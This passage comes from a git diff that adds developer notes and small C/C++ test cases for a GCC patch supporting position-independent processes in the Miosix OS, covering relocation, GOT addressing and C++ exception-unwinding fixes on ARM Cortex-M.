+MULTILIB_DIRNAMES += processes . +``` + +which incredibly is fine for GCC... but not for newlib because for some +(probably Makefile-related) reason at one point it counts the number of +path components and replaces them with ".." to get to the root and... well yeah, +you can guess what happens :( + +So the answer is no, you can't do this. That's sad. diff --git a/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/processes-patch-testcases-cpp.cpp b/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/processes-patch-testcases-cpp.cpp new file mode 100644 index 000000000..9acd04bf6 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/processes-patch-testcases-cpp.cpp @@ -0,0 +1,11 @@ + +class Base +{ +public: + virtual ~Base() {} +}; + +Base *mkbase() +{ + return new Base; +} diff --git a/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/processes-patch-testcases.c b/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/processes-patch-testcases.c new file mode 100644 index 000000000..5e6f55eb4 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/processes-patch-testcases.c @@ -0,0 +1,48 @@ + +extern const int aRodata; +const int aRodata2=42; +extern int aData; +int aData=0; +const char str[]="Hello world\n"; +//extern const char *str; + +int get1() { return aRodata; } +int get2() { return aData; } +const char *get3() { return str; } +int get4() { return aRodata2; } +const int *get5() { return &aRodata2; } + +// If this produces a GOTOFF relocation, it's broken +int *ptr = { 0 }; +int *get6() +{ + return ptr; +} + +void f(); +typedef void (*fp)(); +fp g() { return &f; } + +// Like extern struct _reent *const _global_impure_ptr __ATTRIBUTE_IMPURE_PTR__; +extern int * const cptr; + +const int *get7() +{ + return cptr; +} + +// ptr1 ends in .data.rel, as its value needs to be relocated while ptr2 ends up in .rodata. +int * const ptr1=0; +int * const ptr2=&aData; + +const int * gg() { return ptr2; } //Interesting, due to optimization this references directly aData + +// What if it's not a pointer, like extern int * const cptr; but a struct, or an array? +// If that struct contains pointers, then the entire struct gets promoted out of .rodata +struct Q { int *p; int i; }; +const struct Q q1 = { 0,0 }; +const struct Q q2 = { &aData,0 }; + + + + diff --git a/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/processes-patch.md b/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/processes-patch.md new file mode 100644 index 000000000..3331e5d70 --- /dev/null +++ b/tools/compiler/gcc-9.2.0-mp3.4/patches/doc/processes-patch.md @@ -0,0 +1,944 @@ + +# Notes on the patch to support processes in Miosix + +TODO: Intro, pie, single-pic-base, no fixed offset between .text/.rodata and .got/.data/.bss, the basic stuff of how Miosix processes work. + +TODO: Comment the changes that were introduced in 4.7.3 and their limitations (processes couldn't use standard libraries as malloc and everything that used it was broken), as what comes next is a delta compared to it. + +NOTE: Most of this document contains addresses from debugging sessions done when DATA_BASE, or the base address of the data segment in a Miosix process before being dynamically relocated, is 0x10000000. This was later changed to 0x40000000, so watch out if some address seems strange. + + + +## The problem with extern const (FIXED) + +In processes compiled with GCC 4.7.3: + +- stuff in .data are accessed from the GOT, which is OK +- strings in .rodata are accessed PC-relative, which is OK +- consts in .rodata are accessed from the GOT, which is WRONG! (more on that later when pointer are involved, though) + +Here's an example: + +``` +extern const int aRodata; +extern int aData; +const char str[]="Hello world\n"; + +int get1() { return aRodata; } +int get2() { return aData; } +const char *get3() { return str; } +``` + +used to compile as: + +``` +get1: + ldr r3, .L3 + ldr r3, [r9, r3] + ldr r0, [r3] + bx lr + +get2: + ldr r3, .L6 + ldr r3, [r9, r3] + ldr r0, [r3] + bx lr + + +get3: + ldr r0, .L9 +.LPIC0: + add r0, pc + bx lr +``` + +`get1()` is the wrong one, of course. + +(Compiled with `arm-miosix-eabi-gcc -mcpu=cortex-m3 -mthumb -mfix-cortex-m3-ldrd -fpie -msingle-pic-base -O2 -S processes.c`). + +What usually masks the issue is constant folding. Unless it's an extern const the value gets folded and the problem does not arise. + +Solution: +the previous patch relied on a GCC function, `decl_readonly_section()` to check whether the global variable to be loaded is const or not, but that function missed a few cases, so a dedicated function, the `miosix_processes_ref_demux()` function was added in `arm.c`. This new function handles the corner cases better, and also allows to fix some of the next issues. + + + + +## Why malloc failed (FIXED) + +`malloc()` uses a convoluted global array of pointers with an initializer list which makes them point inside the array itself. For a long time this was thought to confuse the codegen/relocations/whatever, somehow. + +Segfault was at address 0xf2 of this code: + +``` + e6: 2318 movs r3, #24 + e8: f8df 2538 ldr.w r2, [pc, #1336] ; 624 <_malloc_r+0x55c> + ec: f859 6002 ldr.w r6, [r9, r2] + f0: 4433 add r3, r6 +newlib-3.1.0/newlib/libc/stdlib/mallocr.c:2378 + f2: 685c ldr r4, [r3, #4] +``` + +But replicating similar code that referenced the same convolute array, `__malloc_av_` did not cause segfaults. + +An objdump of `main.o` found at the end of func: + +``` + 44: R_ARM_GOT32 __malloc_av_ +``` + +While an objdump of `lib_a-mallocr.o` at the end of `malloc_r`: + +``` + 55c: R_ARM_GOTOFF32 .LANCHOR0 + 560: R_ARM_GOTOFF32 .LANCHOR1 + 564: R_ARM_GOTOFF32 .LANCHOR2 +``` + +Page 208 of linkers and loaders explains the difference between GOT32 and GOTOFF, and GOTOFF relaocations only work if the gap between .text and .got is known, which is not. + +Turns out the issue is unrelated to the convolute array of malloc, a much simpler test case that triggers the issue causing GOTOFF relocations is: + +``` +int *ptr = { 0 }; +int *get6() +{ + return ptr; +} +``` + +Solution: comment out the part that generates GOTOFF relocations in the `arm_assemble_integer()` function in `arm.c`. In Miosix processes GOTOFF relocations should never appear. + + + + +## The problem with const pointers (FIXED) + +Accessing `_GLOBAL_REENT` in newlib segfaults, such as in this function: + +``` +struct _reent *__getreent() +{ + return _GLOBAL_REENT; +} + +__getreent(): + a78: 4b01 ldr r3, [pc, #4] ; (a80 <__getreent+0x8>) + a7a: 447b add r3, pc + a7c: 6818 ldr r0, [r3, #0] + a7e: 4770 bx lr +``` + +Now, `_GLOBAL_REENT` is declared as: + +``` +// sys/reent.h +extern struct _reent *const _global_impure_ptr; +#define _GLOBAL_REENT _global_impure_ptr +``` + +and defined as: + +``` +// impure.c +static struct _reent impure_data = _REENT_INIT(impure_data); +struct _reent *_impure_ptr = &impure_data; +struct _reent *const _global_impure_ptr = &impure_data; +``` + +At first it was believed that the issue is with the constness of pointer being more complex than normal variables, as we need not confuse the constness of the thing pointed to from the constness of the pointer itself. + +However, further investigation found out the const patch works in this case too: + +``` +extern const int * cptr; +const int *get() { return cptr; } + + ldr r3, .L3 + ldr r3, [r9, r3] + ldr r0, [r3] + +(symbol_ref:SI ("cptr") [flags 0xc0] ) + + unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set -1 canonical-type 0x7f9a2ff71a80 + precision:32 min + max + pointer_to_this > + unsigned SI size unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set 1 canonical-type 0x7f9a2ff71b28 + pointer_to_this > + used public unsigned external common read SI processes.c:22:20 + size unit-size + align:32 warn_if_not_align:0 context + (mem/f/c:SI (symbol_ref:SI ("cptr") [flags 0xc0] ) + [1 cptr+0 S4 A32]) chain > +variable (decl!=0) + + + +extern int * const cptr; +const int *get() { return cptr; } + + add r3, pc + ldr r0, [r3] + +(symbol_ref:SI ("cptr") [flags 0xc0] ) + + unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set -1 canonical-type 0x7f68224bf5e8 + precision:32 min + max + pointer_to_his > + readonly unsigned SI size unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set -1 canonical-type 0x7f682259ba80 + pointer_to_this > + readonly used public unsigned external common read SI processes.c:22:20 + size unit-size + align:32 warn_if_not_align:0 context + (mem/u/f/c:SI (symbol_ref:SI ("cptr") [flags 0xc0] ) + [1 cptr+0 S4 A32]) chain > +constant (TYPE_READONLY) +``` + +Basically, `extern const int * cptr;` is a non-const pointer, so it ends up in .data, and is accessed from the GOT, which is OK, and `extern int * const cptr;` is a const pointer which should end up in .rodata, so is accessed PC-relative, which seems good. In general, when deciding whether to use GOT or PC-relative addressing to get a pointer we are concerned about how to acccess the pointer itself, not what it points to (accessing what it points to is trivial and uniform, as you just need to dereference it in all cases). + +Although it seems reasonable to assume a const pointer ends up in .rodata just like any otheer const, it's also wrong. + +It looks that to know whether a pointer ends up in .rodata or not you can't just look at its **declaration**, you have to look at is **definition**, see for yourself: + +``` +extern int aData; +int * const ptr1=0; +int * const ptr2=&aData; + + .section .rodata +ptr1: + .space 4 + + .section .data.rel.ro,"aw" +ptr2: + .word aData +``` +If the const pointer is defined as pointing to another variable, it needs to be relocated. That is, the content of the memory cell of the pointer itself isn't known till run-time, because the address of the variable it should point to isn't known. But relocations in .rodata can't happen, as its... readonly, so the constant pointer gets promoted to another section that is in RAM so the relocation can take place. + +The implemented fix requres a compromise: in the general case we can't see the pointer definition, as it may be in another translation unit. Thus, we assume that all pointers will need a relocation, and thus we access all pointers (or all complex data structures that may contain pointers, using the `contains_pointers_p()` function of GCC) and use GOT addressing for those. + +At first, it was believed that to make this work, we need to actually move them into RAM to make the relocation work. + +This patch fragment of `categorize_decl_for_section()` in `varasm.c` did exactly that. + +``` +diff -ruN gcc-9.2.0-old/gcc/varasm.c gcc-9.2.0/gcc/varasm.c +--- gcc-9.2.0-old/gcc/varasm.c 2019-04-12 09:28:35.000000000 +0200 ++++ gcc-9.2.0/gcc/varasm.c 2020-06-25 00:36:05.732146923 +0200 +@@ -56,6 +56,8 @@ + #include "asan.h" + #include "rtl-iter.h" + #include "file-prefix-map.h" /* remap_debug_filename() */ ++#include "print-tree.h" ++#include + + #ifdef XCOFF_DEBUGGING_INFO + #include "xcoffout.h" /* Needed for external data declarations. */ +@@ -6675,7 +6677,21 @@ + /* C and C++ don't allow different variables to share the same + location. -fmerge-all-constants allows even that (at the + expense of not conforming). */ +- ret = SECCAT_RODATA; ++ { ++ //TODO: #ifdef _MIOSIX does not work in this context ++ /* ++ * This code matches the if(contains_pointers_p(type)) in ++ * miosix_processes_ref_demux() in arm.c. It disallows pointer-containing ++ * data structures to be const in Miosix processes, as they are always ++ * accessed from the GOT. ++ */ ++ tree type = TREE_TYPE(d); ++ assert(type != NULL && "Miosix: TREE_TYPE is null"); ++ //printf("--- %d %d\n",flag_pic,contains_pointers_p(type)); ++ //debug_tree(d); ++ if(flag_pic && contains_pointers_p(type)) ret = SECCAT_DATA; ++ else ret = SECCAT_RODATA; ++ } + else if (DECL_INITIAL (decl) + && TREE_CODE (DECL_INITIAL (decl)) == STRING_CST) + ret = SECCAT_RODATA_MERGE_STR_INIT; +``` + +But it was found out that this patch failed to work when arrays were concerned. +An example found in newlib that caused segfaults is in `dtoa.c` when accessing the `tinytens` and `bigtens` arrays defined in `mprec.c`. + +A simpler testcase can be made but it requires two translation units to prevent folding masking the issue. + +``` +// stuff.h +extern const int ptr[]; + +// stuff.c +const int ptr[] = { 0x12345678 }; + +// main.c +// do something that accesses ptr + +``` + +This example and the one in libc do cause the appearance of GOT entries which point to .rodata. + +Instead of chasing every case where we need to promote something from .rodata to .data, a patch was made in the OS kernel relocation code: +if the relocation target address is not greater than DATA_BASE (which was 0x10000000 and later as part of these patch was changed to 0x40000000), it means that the relocation points to .rodata, and in that case the relocation is done starting from the CODE base address, not from the RAM base address. + +This fix made obsolete the idea of forcedly promoting pointer-containing data structures to RAM, so the `varasm.c` patch above was removed. This choice saves RAM, as now + +* pointer containing global data structures that need no relocation stay in .rodata (saving RAM) but are accessed from the GOT anyway as-if they were in RAM. The OS relocation code patch makes this work, and there is a small but unavoidable RAM size penalty for the GOT entries, which is however unavoidable as we need an uniform way to access them without seeing their definition. + +* pointer containing global data structures that do need relocations get promoted to RAM (necessary) and are accessed from the GOT (necessary, as being in RAM, PC-relative addressing won't work). + +TL;DR: in pointer containing data structures, sometimes we go through the GOT even if the data structure we're accessing is in .rodata. This slight inefficiency is however necessary for uniformity in accessing said data structures. + + + + +## The problem with vtables (FIXED) + +An example with `cout << "Hello world" << endl;` fails with a segfault during static construction of the cout object. The problem arises during a `dynamic_cast`. + +``` +Process 1 terminated due to a fault +* Code base address was 0x64017268 +* Data base address was 0x64100000 +* MPU region 6 0x64000000-0x64100000 r-x +* MPU region 7 0x64100000-0x64104000 rw- +* Attempted data access @ 0x74017818 (PC was 0x6403a610) +Process 1 terminated +Process segfaulted +``` + +Trying to understand where the wrong address goes `0x74017818 - 0x64017268 = 0x100005b0` and this address points to + +``` + .data.rel.ro._ZTVSt5ctypeIcE + 0x00000000100005b0 0x30 libstdc++.a(ctype.o) + 0x00000000100005b0 _ZTVSt5ctypeIcE +``` + +and `_ZTVSt5ctypeIcE` is `vtable for std::ctype`. + +Further testing with a simpler program fails in the same way + +``` +#include + +class Base +{ +public: + virtual void print() const { puts("I'm Base"); } + virtual ~Base() {} +}; + +class Derived : public Base +{ +public: + virtual void print() const { puts("I'm Derived"); } +}; + +void __attribute__((noinline)) call(Base *base) +{ + base->print(); +} + +Base *__attribute__((noinline)) mkbase() +{ + return new Base; +} + +Derived *__attribute__((noinline)) mkderived() +{ + return new Derived; +} + +int main() +{ + volatile int i=0; + Base *base = i==0 ? mkderived() : mkbase(); + call(base); + delete base; +} +``` + +It appears that the issue occurs in the constructor + +``` +0000ead4 <_Z9mkderivedv>: +_Z9mkderivedv(): + ead4: b508 push {r3, lr} + ead6: 2004 movs r0, #4 + ead8: f000 f946 bl ed68 <_Znwj> + eadc: 4b02 ldr r3, [pc, #8] ; (eae8 <_Z9mkderivedv+0x14>) + eade: 447b add r3, pc + eae0: 3308 adds r3, #8 + eae2: 6003 str r3, [r0, #0] + eae4: bd08 pop {r3, pc} + eae6: bf00 nop + eae8: 0fff162e svceq 0x00ff162e +``` + +where the object memory is allocated, and the vptr is set to point to the vtable using PC-relative addressing even though the vtable is in RAM, as it's in .dat.rel.ro + +The vtable is considered const even though it contains pointers becauses it passes the `decl_readonly_section` check, which is done before the `contains_pointers_p` check. + +``` +(symbol_ref/i:SI ("_ZTV4Base") [flags 0x82] ) + + unsigned type_6 SI + size + unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set 4 canonical-type 0x7ff427aea498 + pointer_to_this > + BLK + size + unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set 4 canonical-type 0x7ff42781d498 + domain + type_6 SI size unit-size + align:32 warn_if_not_align:0 symtab:0 alias-set -1 canonical-type 0x7ff42781d3f0 precision:32 min max > + pointer_to_this > + readonly addressable used public static tree_1 tree_2 tree_5 ignored weak read virtual decl_5 BLK vtable.cpp:2:7 size unit-size + user align:32 warn_if_not_align:0 context initial + + (mem/u/c:BLK (symbol_ref/i:SI ("_ZTV4Base") [flags 0x82] ) [4 _ZTV4Base+0 S16 A32])> +constant (decl_readonly_section) +``` + +As the vtable contains constant pointers (that need to be initialized to within .text to point to the member functions), relocations need to be done. +The solution is to move the `contains_pointers_p` check first. + + + + +## The problem with R_ARM_REL32 relocations (FIXED) + +Trying to compile C++ programs that do not use exceptions causes compilation to fail. An example as simple as this triggers the issue: + +``` +#include + +using namespace std; + +int main() +{ + printf("Hello world\n"); + return 0; +} +``` + +which fails with: + +``` +ld: libgcc.a(unwind-arm.o): relocation R_ARM_REL32 against external or undefined symbol `__cxa_call_unexpected' can not be used when making a PIE executable; recompile with -fPIC +libgcc.a(unwind-arm.o): in function `__gnu_unwind_pr_common': +unwind-arm-common.inc:824:(.text+0x744): dangerous relocation: unsupported relocation +``` + +Compiling with `-fno-exceptions` or adding code that throws/catches exceptions fixes the issue, but code that does not throw should not fail to compile. + +The problem is in `unwind-arm-common.inc` which declares a few functions prototypes as `__attribute__((weak))` that it then calls. Moreover, in one case it checkes whether the pointer to the `__gnu_Unwind_Find_exidix` function is not null, to see if the function exists in the (runtime) linked binary. + +The fix consists in patching `unwind-arm-common.inc` so that the function prototypes are no longer weak, and removing completely the check **and** then call to `__gnu_Unwind_Find_exidix` as it's not needed in Miosix. + + + + +## The problem with unwinding exception tables (FIXED) + +A simple program that throws an exception would segfault + +``` +#include + +void __attribute__((noinline)) f() +{ + throw 1; +} + +int main() try { + puts("in"); + f(); + puts("out"); + return 0; +} catch(int& e) { + puts("exc"); + return e; +} +``` + +in `__cxa_type_match` + +``` +0000eee4 <__cxa_type_match>: +[...] +gcc-9.2.0/libstdc++-v3/libsupc++/eh_arm.cc:86 + ef08: 6823 ldr r3, [r4, #0] +``` + +The fault happens when dereferencing a pointer, but the pointer does not get computed in this function, but passed as a parameter. +The caller is `__gxx_personality_v0` + +``` +line 576 of eh_personality.cc + + while (1) + { + p = action_record; + p = read_sleb128 (p, &ar_filter); + read_sleb128 (p, &ar_disp); + + if (ar_filter == 0) + { + // Zero filter values are cleanups. + saw_cleanup = true; + } + else if (ar_filter > 0) + { + // Positive filter values are handlers. + catch_type = get_ttype_entry (&info, ar_filter); + + // Null catch type is a catch-all handler; we can catch foreign + // exceptions with this. Otherwise we must match types. + if (! catch_type + || (throw_type + && get_adjusted_ptr (catch_type, throw_type, + &thrown_ptr))) +``` + +The `get_adjusted_ptr` is a macro to the `__cxa_type_match` code that is faulting. +The corrupted variable is `catch_type`, and is returned by `get_ttype_entry`, which in turn gets it by calling `read_encoded_value_with_base` in `libgcc/unwind-pe.h`. + +The `read_encoded_value_with_base` is called with the following parameters: +``` +unsigned char encoding = 0x10 +_Unwind_Ptr base = 0 +const unsigned char *p = 0x64027198 - 0x64017268 = 0xff30 +``` + +and at memory location 0xff30 in the elf file there is the .ARM.extab section, so this code is retrieving a pointer from the exception unwinding tables. +So, summing up, the unwind tables are coded assuming that it's possible to construct addresses to the typeinfo structures (which are in .data.rel.ro, thus in RAM) through PC-relative addressing which is not possible. + +From the same file we also find another useful function: + +``` +static _Unwind_Ptr +base_of_encoded_value (unsigned char encoding, struct _Unwind_Context *context) +{ + if (encoding == DW_EH_PE_omit) + return 0; + + switch (encoding & 0x70) + { + case DW_EH_PE_absptr: + case DW_EH_PE_pcrel: + case DW_EH_PE_aligned: + return 0; + + case DW_EH_PE_textrel: + return _Unwind_GetTextRelBase (context); + case DW_EH_PE_datarel: + return _Unwind_GetDataRelBase (context); + case DW_EH_PE_funcrel: + return _Unwind_GetRegionStart (context); + } + __gxx_abort (); +} +``` + +This function computes the `base` parameter the the previous function, and returns zero since encoding is 0x10 or `DW_EH_PE_pcrel`. + +However, `_Unwind_GetDataRelBase()` is in `libgcc/config/arm/pr-support.c` + +``` +/* These two should never be used. */ + +_Unwind_Ptr +_Unwind_GetDataRelBase (_Unwind_Context *context __attribute__ ((unused))) +{ + abort (); +} +``` + +great, so that's unimplemented... + +One last bit we need to get the whole picture: how the compiler selects which encoding to use: `cd gcc/config/arm && grep -R 'DW_EH_PE_'` + +which found the list of constants: + +``` +#define DW_EH_PE_absptr 0x00 + +#define DW_EH_PE_pcrel 0x10 +#define DW_EH_PE_textrel 0x20 +#define DW_EH_PE_datarel 0x30 +#define DW_EH_PE_funcrel 0x40 +#define DW_EH_PE_aligned 0x50 + +#define DW_EH_PE_indirect 0x80 +``` + +and this file `gcc/config/arm/arm.h` which says + +``` +#ifndef ARM_TARGET2_DWARF_FORMAT +#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel +#endif + +/* ttype entries (the only interesting data references used) + use TARGET2 relocations. */ +#define ASM_PREFERRED_EH_DATA_FORMAT(code, data) \ + (((code) == 0 && (data) == 1 && ARM_UNWIND_INFO) ? ARM_TARGET2_DWARF_FORMAT \ + : DW_EH_PE_absptr) +``` + +And this is actually documented! + +`https://gcc.gnu.org/onlinedocs/gccint/Exception-Handling.html` + +`ASM_PREFERRED_EH_DATA_FORMAT (code, global)` + +So, despite the macro implementation in `arm.h` calls the parameters `code` and `data`, they are actually `code` and `global`: + +`code`: + +* 0 for data +* 1 for code labels +* 2 for function pointers + +while `global` is true if the symbol may be affected by dynamic relocations. + +From my understanding, the encoding is absptr unless we're accessing data and dynamic relocations may occur (ARM_UNWIND_INFO is the constant 1 so it's always true), in that case it's pcrel. + +A possible solution that was tested is: + +* `#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_datarel` +* implement `_Unwind_GetDataRelBase`. + +This is the patch that does the first thing: + +``` +diff -ruN gcc-9.2.0-old/gcc/config/arm/arm.h gcc-9.2.0/gcc/config/arm/arm.h +--- gcc-9.2.0-old/gcc/config/arm/arm.h 2019-04-23 12:03:41.000000000 +0200 ++++ gcc-9.2.0/gcc/config/arm/arm.h 2020-07-14 09:14:20.611848691 +0200 +@@ -878,7 +878,12 @@ + #define EH_RETURN_STACKADJ_RTX gen_rtx_REG (SImode, ARM_EH_STACKADJ_REGNUM) + + #ifndef ARM_TARGET2_DWARF_FORMAT +-#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel ++//TODO: #ifdef _MIOSIX does not work in this context ++//Produce exception unwinding tables that work with Miosix processes ++//see processes-patch.md, section "The problem with unwinding exception tables" ++//we want pcrel as usual for the Miosix kernel, and datarel for processes (pic) ++#define ARM_TARGET2_DWARF_FORMAT (flag_pic ? DW_EH_PE_datarel : DW_EH_PE_pcrel) ++//#define ARM_TARGET2_DWARF_FORMAT DW_EH_PE_pcrel + #endif + + /* ttype entries (the only interesting data references used) +``` + +This is the patch that does the second: + +``` +diff -ruN gcc-9.2.0-old/libgcc/config/arm/pr-support.c gcc-9.2.0/libgcc/config/arm/pr-support.c +--- gcc-9.2.0-old/libgcc/config/arm/pr-support.c 2019-04-23 12:03:41.000000000 +0200 ++++ gcc-9.2.0/libgcc/config/arm/pr-support.c 2020-07-14 09:14:20.615848615 +0200 +@@ -376,7 +376,14 @@ + _Unwind_Ptr + _Unwind_GetDataRelBase (_Unwind_Context *context __attribute__ ((unused))) + { +- abort (); ++//TODO: #ifdef _MIOSIX does not work in this context ++//Support exception unwinding that work with Miosix processes ++//see processes-patch.md, section "The problem with unwinding exception tables" ++//NOTE: this code gets linked (even though it never gets used) also in the kernel, ++//so the symbol name we coose here must also exist in the kernel linker scripts ++ extern char _data asm("_data"); //defined in the linker script ++ return &_data; ++// abort (); + } + + _Unwind_Ptr +``` + +And this just adds a print to see what happens: + +``` +diff -ruN gcc-9.2.0-old/gcc/except.c gcc-9.2.0/gcc/except.c +--- gcc-9.2.0-old/gcc/except.c 2019-03-11 14:58:44.000000000 +0100 ++++ gcc-9.2.0/gcc/except.c 2020-07-15 09:55:53.382783507 +0200 +@@ -3022,6 +3022,11 @@ + else + { + tt_format = ASM_PREFERRED_EH_DATA_FORMAT (/*code=*/0, /*global=*/1); ++ // This is here for debugging the change to ARM_TARGET2_DWARF_FORMAT ++ // in Miosix processes: when compiling C++ code that throws and catches ++ // exceptions, it should print 0x10 (DW_EH_PE_pcrel) when compiling the ++ // kernel (non-pic) and 0x30 (DW_EH_PE_datarel) when compiling processes ++ printf("\n\n-- called 0x%x --\n\n",tt_format); + if (HAVE_AS_LEB128) + ASM_GENERATE_INTERNAL_LABEL (ttype_label, + section ? "LLSDATTC" : "LLSDATT", +``` + + +But these patch don't work. With those changes throwing from a process still fails as before. +Even though at compile-time the DW_EH_PE_datarel value seems to be selected and the printf patch prints 0x30 (the call to `ASM_PREFERRED_EH_DATA_FORMAT` is in `output_one_function_exception_table` in `gcc/except.c` which is where the printf patch above is), `read_encoded_value_with_base` at runtime still gets called with 0x10 (pcrel)... + +More digging found this kludge in `eh_personality.cc`: + +``` +#if _GLIBCXX_OVERRIDE_TTYPE_ENCODING + /* Older ARM EABI toolchains set this value incorrectly, so use a + hardcoded OS-specific format. */ + info->ttype_encoding = _GLIBCXX_OVERRIDE_TTYPE_ENCODING; +#endif +``` + +Yes, despite we're wasting bytes in the binary to encode the format of pointer entries, they serve nothing as they are overridden by a compile-time kludge that forces the runtime library to ignore it... + +`https://gcc.gnu.org/legacy-ml/gcc-patches/2011-09/msg00765.html` + +The `#define _GLIBCXX_OVERRIDE_TTYPE_ENCODING` occurs in `libgcc/config/arm/unwind-arm.h`, +in the middle of the `_Unwind_decode_typeinfo_ptr` function (if you need to make a kludge, do it well...). + +Ok, more patching to remove the kludge: + +``` +diff -ruN gcc-9.2.0-old/libgcc/config/arm/unwind-arm.h gcc-9.2.0/libgcc/config/arm/unwind-arm.h +--- gcc-9.2.0-old/libgcc/config/arm/unwind-arm.h 2019-01-01 13:31:55.000000000 +0100 ++++ gcc-9.2.0/libgcc/config/arm/unwind-arm.h 2020-07-14 09:14:20.615848615 +0200 +@@ -57,7 +57,14 @@ + #elif defined(__symbian__) || defined(__uClinux__) + #define _GLIBCXX_OVERRIDE_TTYPE_ENCODING (DW_EH_PE_absptr) + /* Absolute pointer. Nothing more to do. */ ++#elif defined(_MIOSIX) ++ //DO NOT DEFINE _GLIBCXX_OVERRIDE_TTYPE_ENCODING, we don't want that kludge ++ //as the encoding could be either pc-relative (kernel) or data-relative (processes) ++ //see processes-patch.md ++ //This relies on base_of_encoded_value() setting base to 0 for DW_EH_PE_pcrel ++ tmp += base ? base : ptr; + #else ++#error FIXME deleteme added just in case + #define _GLIBCXX_OVERRIDE_TTYPE_ENCODING (DW_EH_PE_pcrel) + /* Pc-relative pointer. */ + tmp += ptr; +``` + +but this does not work either... + +At runtime, in the process, `read_encoded_value_with_base` is called with the following parameters: +``` +unsigned char encoding = 0x30 +_Unwind_Ptr base = 0x64100000 +const unsigned char *p = 0x640271c4 +``` + +The first two parameters are correct, the third one, is not. + +This time the encoding is the correct value. Also the base is ok, so we have the data base address. However, p points to where the offset is stored in the unwinding tables. And dereferencing that location we find 0x0fff023c. This is wrong, as the target we want is at 0x10000188, and 0x64100000 + 0x0fff023c = 0x740f023c which is the faulting address causing the segfault and not the target address. + +So while everything is set up for data-relative, the offset that gets encoded is still pc-relative... + +And it is here when things get complicated, as we need to llok deep into what's encoded in the unwinding tables. + +When compiling the simple `main.cpp` that throws at the beginning of this chapter, GCC produces the following tables, and the unwind tables end up in the binary, with a one-to-one match, (after the ULEB128 encoding is understood `https://en.wikipedia.org/wiki/LEB128`): + + +``` + .ARM.extab.text.startup.main + 0x000000000000ff30 0x20 main.o + + 0ff28 79f5ff7f b0b0a800 ........y....... + 0ff38 ff301501 0c06080e 011c042a 002e0400 .0.........*.... + 0ff48 00010000 3c02ff0f + + .global __gxx_personality_v0 + .personality __gxx_personality_v0 + .handlerdata + .align 2 + 79f5ff7f b0b0a800 = personality? +.LLSDA2: + .byte 0xff ff + .byte 0x30 30 + .uleb128 .LLSDATT2-.LLSDATTD2 15 +.LLSDATTD2: + .byte 0x1 01 + .uleb128 .LLSDACSE2-.LLSDACSB2 0c +.LLSDACSB2: + .uleb128 .LEHB0-.LFB2 06 + .uleb128 .LEHE0-.LEHB0 08 + .uleb128 .L9-.LFB2 0e + .uleb128 0x1 01 + .uleb128 .LEHB1-.LFB2 1c + .uleb128 .LEHE1-.LEHB1 04 + .uleb128 .L10-.LFB2 2a + .uleb128 0 00 + .uleb128 .LEHB2-.LFB2 2e + .uleb128 .LEHE2-.LEHB2 04 + .uleb128 0 00 + .uleb128 0 00 +.LLSDACSE2: + .byte 0x1 01 + .byte 0 00 + .align 2 00 + .word _ZTIi(TARGET2) 3c02ff0f (0x0fff023c) +``` + +So the problematic offset is right at the end, 0x0fff023c. However, GCC is not producing the address, it just outputs `.word _ZTIi(TARGET2)`. In this declaration, `_ZTIi` is the target symbol we want to access, and `(TARGET2)` a relocation type. + +Who prints this `.word _ZTIi(TARGET2)` in GCC? We're back to our friend, the `output_one_function_exception_table` in `gcc/except.c`. Just like the address is last in the exception tables, also the code that prints is last in the function, + +``` + if (targetm.arm_eabi_unwinder) + { + tree type; + for (i = 0; + vec_safe_iterate (cfun->eh->ehspec_data.arm_eabi, i, &type); ++i) + output_ttype (type, tt_format, tt_format_size); + } +``` + +The job is done by the `output_ttype`, but not exactly, as this function contains a + +``` + /* Allow the target to override the type table entry format. */ + if (targetm.asm_out.ttype (value)) + return; +``` + +and the ARM target has this function pointer non-null, and thus overrides the default `output_ttype` behavior. Following the code we get back to `arm.c`. + +``` +static bool +arm_output_ttype (rtx x) +{ + fputs ("\t.word\t", asm_out_file); + output_addr_const (asm_out_file, x); + /* Use special relocations for symbol references. */ + if (!CONST_INT_P (x)) + fputs ("(TARGET2)", asm_out_file); + fputc ('\n', asm_out_file); + + return TRUE; +} +``` + +and this is the function that prints the symbol name and `(TARGET2)`. + +adding an `if(flag_pic) return FALSE;` at the beginning of this function just affords an internal compiler error, apparently as by returning false we get back to `output_ttype` which calls `dw2_asm_output_encoded_addr_rtx` that contains a + +``` +#ifdef ASM_OUTPUT_DWARF_DATAREL + case DW_EH_PE_datarel: + gcc_assert (GET_CODE (addr) == SYMBOL_REF); + ASM_OUTPUT_DWARF_DATAREL (asm_out_file, size, XSTR (addr, 0)); + break; +#endif +``` + +and none is provided (sigh). + +Ok, backtracking, batching and trying to patch `arm_output_ttype` to produce another relocation type. But which type? The "ELF for the ARM Architecture" document availbale online seems to hint that ` R_ARM_BASE_ABS` is the right one, as it's a static relocation where the target is accessed as B(S) + A, which seems right. + + +``` +diff -ruN gcc-9.2.0-old/gcc/config/arm/arm.c gcc-9.2.0/gcc/config/arm/arm.c +--- gcc-9.2.0-old/gcc/config/arm/arm.c 2019-04-23 12:03:41.000000000 +0200 ++++ gcc-9.2.0/gcc/config/arm/arm.c 2020-07-15 23:37:34.457141163 +0200 +@@ -27847,7 +28036,23 @@ + output_addr_const (asm_out_file, x); + /* Use special relocations for symbol references. */ + if (!CONST_INT_P (x)) ++ { ++ //TODO: #ifdef _MIOSIX does not work in this context ++ //When generation C++ exception unwinding tables, DO generate data-relative ++ //entries instead of overriding them with pc-relative relocations ++ //See processes-patch.md ++ if(flag_pic) ++ { ++ //Use R_ARM_RELATIVE to generate a data-relative static relocation ++ //see "ELF for the ARM AELF for the ARM Architecture" ++ printf("using R_ARM_RELATIVE relocation for exception unwinding tables\n"); ++ fputs 